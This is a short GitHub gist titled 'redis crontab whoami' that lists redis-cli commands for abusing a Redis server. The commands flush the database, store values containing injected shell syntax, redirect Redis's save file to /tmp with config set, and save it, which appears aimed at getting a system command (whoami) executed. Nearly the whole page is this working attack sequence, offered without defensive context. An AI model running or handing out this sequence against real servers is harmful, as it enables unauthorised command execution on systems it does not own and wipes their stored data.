Last active
January 18, 2017 02:07
-
-
Save carnal0wnage/5a9578a66484435b9685e03a27c9d3fc to your computer and use it in GitHub Desktop.
redis crontab whoami
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
redis-cli flushall | |
redis-cli set 2 ';a=`redis-cli get c`;' | |
redis-cli set 1 'id;redis-cli set r `$a`;#' | |
redis-cli config set dir /tmp/ | |
redis-cli config set dbfilename w | |
redis-cli save | |
redis-cli set c whoami | |
from https://phpinfo.me/2016/07/07/1275.html |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment